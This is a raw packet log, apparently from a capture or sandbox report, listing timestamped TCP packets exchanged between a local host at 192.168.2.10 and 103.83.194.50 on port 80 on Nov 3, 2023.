Nov 3, 2023 18:53:42.538300037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538348913 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538366079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538413048 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538455009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538535118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538562059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538608074 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538639069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538685083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538711071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538758993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538781881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538827896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538855076 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538901091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538938046 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538985014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539009094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539053917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539078951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539124966 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539160967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539210081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539239883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539287090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539349079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539397955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539434910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539480925 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539504051 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539547920 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539573908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539621115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.539635897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.539685011 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.540730953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.540783882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.540812969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.540863991 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.540873051 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.540927887 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.540954113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541002035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541028976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541106939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541110039 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541158915 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541184902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541244030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541249037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541296959 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541322947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541371107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541399956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541456938 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541482925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541532040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541555882 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541621923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541624069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541667938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541673899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541698933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541718006 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541737080 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541790962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541841030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.541922092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.541971922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542000055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542079926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542088985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542126894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542164087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542216063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542243004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542289019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542321920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542370081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542395115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542447090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542491913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542560101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542572975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542619944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542629004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542680979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542706013 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542761087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542787075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542843103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542865038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542881012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542912006 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542938948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542939901 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.542979956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.542989969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543009996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543026924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543057919 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543085098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543134928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543152094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543200016 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543226957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543273926 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543298960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543339968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543365955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543407917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543447018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543492079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543523073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543562889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543587923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543629885 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543665886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543709040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543747902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543792963 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543832064 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543876886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543886900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.543929100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.543966055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544018030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544044018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544087887 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544118881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544163942 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544188976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544233084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544270992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544313908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544352055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544394970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544449091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544490099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544507027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544548988 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544574976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544615984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544641018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544682026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544770002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544811964 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544836998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544877052 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544902086 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.544941902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.544979095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545022964 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545059919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545098066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545113087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545150995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545228958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545269012 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545310974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545351028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545388937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545442104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545453072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545483112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545507908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545551062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545625925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545641899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545665026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545703888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545726061 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545767069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545794010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545838118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545864105 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545902967 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.545941114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.545979023 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546015978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546057940 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546093941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546137094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546173096 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546224117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546248913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546298027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546312094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546360016 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546387911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546439886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546447992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546495914 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546521902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546570063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546595097 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546641111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546659946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546711922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546736956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546783924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546808958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546854973 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546880960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546927929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.546952009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.546996117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547022104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547069073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547106028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547153950 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547178984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547230005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547255039 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547306061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547312021 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547357082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547383070 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547430038 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547457933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547501087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547523975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547559977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547586918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547635078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547660112 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547707081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547780991 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547830105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547848940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547895908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.547909975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.547952890 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548017979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548086882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548264027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548314095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548327923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548377991 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548399925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548448086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548472881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548521996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548541069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548619986 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548640966 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548660040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548677921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548727036 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548753023 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548799992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548877954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548924923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.548949957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.548996925 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549021959 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549098015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549117088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549166918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549191952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549237013 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549263954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549313068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549339056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549390078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549407959 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549462080 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549488068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549570084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549575090 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549626112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549669027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549721956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549722910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549773932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549813032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549861908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549889088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.549937010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.549958944 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550035954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550048113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550088882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550112963 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550165892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550179958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550228119 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550249100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550298929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550308943 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550354958 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550370932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550420046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550447941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550517082 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550538063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550558090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550605059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550653934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550668001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550714970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550741911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550791025 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550796032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550842047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550929070 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.550977945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.550992966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551040888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551057100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551105022 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551194906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551244020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551271915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551320076 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551345110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551392078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551417112 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551464081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551490068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551534891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551558971 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551601887 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551628113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551671028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551696062 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551737070 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551774979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551820993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551883936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.551923990 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.551994085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552037954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.552062988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552109003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.552139044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552180052 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.552496910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552540064 CET	49711	80	192.168.2.10	103.83.194.50
